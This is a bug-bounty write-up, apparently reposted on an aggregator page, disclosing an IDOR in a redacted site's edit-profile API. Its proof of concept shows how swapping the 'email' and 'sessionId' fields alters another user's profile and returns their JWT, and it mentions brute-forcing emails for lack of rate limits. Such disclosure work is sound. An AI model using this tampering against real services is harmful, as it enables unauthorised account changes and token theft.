Email based IDOR makes me update Other User Profile

8 months ago 58

BOOK THIS SPACE FOR AD

ARTICLE AD

Bismillah,

In the name of Allah, the most gracious and most merciful.

Hi everyone, in this write-up I will tell you about the IDOR bug that I found on the same target as yesterday’s write-up

https://medium.com/@rohmadhidayah/sensitive-data-exposed-when-placing-an-order-5549baed9186

which allows an attacker to update another user’s profile.

When a user updates their profile a POST request is sent to the server with several parameters in the JSON body as below:

POST /api/settings/edit-profile HTTP/2

{
"firstName":"xxx",
"lastName":"xxx",
"jobTitle":"xxx",
"phone":"xxx",
"userId":"UUIDv4",
"email":"attacker@gmail.com",
"sessionId":"user:attacker@gmail.com:ATTACKER_SESS_ID"
}

There are 2 parameters that are vulnerable here, namely “email” and “sessionId”, when I replace the value of these parameters with the email of another user (victim), the profile on the victim’s account is automatically updated. Because authorization has not been implemented, this creates a vulnerability that allows attackers to update other users’ profiles.

Description:

Insecure direct object reference (IDOR) is a type of access control vulnerability that arises when applications use user-supplied input to access objects directly. The term IDOR was popularized with its appearance in the 2007 OWASP Top Ten. However, this is just one example of many access control misapplications that can lead to overlooked access controls.

This is according to the explanation from PortSwigger.

Proof of Concept:

1. Create 2 accounts on redacted.com or use an existing account.
2. Login with both accounts in 2 different browsers.

- Account A (attacker)
- Account B (victim)

3. Account A updates profile while capturing requests using proxy tools such as Burp Suite and Foxyproxy extension -> Enable “Intercept” in both tools -> Click “Update”.
4. In Burp Suite you will see a POST request as below:

POST /api/settings/edit-profile HTTP/2

{
"firstName":"xxx",
"lastName":"xxx",
"jobTitle":"xxx",
"phone":"xxx",
"userId":"UUIDv4",
"email":"attacker@gmail.com",
"sessionId":"user:attacker@gmail.com:ATTACKER_SESS_ID"
}

6. You can see that in the request there are 2 parameters, namely “email”:”attacker@gmail.com”, “sessionId”:”user:attacker@gmail.com:ATTACKER_SESS_ID” in the JSON body which is the email belonging to Account A.
7. Then change the values of the two parameters to Account B’s email like this “email”:”victim@gmail.com”,”sessionId”:”user:victim@gmail.com:ATTACKER_SESS_ID”.
8. Send it to the server and the server will return a 200 OK response as below:

HTTP/2 200 OK

{
"company_id":null,
"company_name":null,
"email":"victim@gmail.com",
"first_name":"xxx",
"is_verified":true,
"jwt_expiry":int,
"jwt_token":"VICTIM_TOKEN",
"user_role":"xxx",
"__typename":"update_profile_response"
}

9. Login to Account B -> Automatically the profile on Account B will change.
10. In this scenario redacted.com has not implemented rate limits, captcha, the account is locked on 2 authentication endpoint (login and register) which allows attackers to brute force emails registered on the system.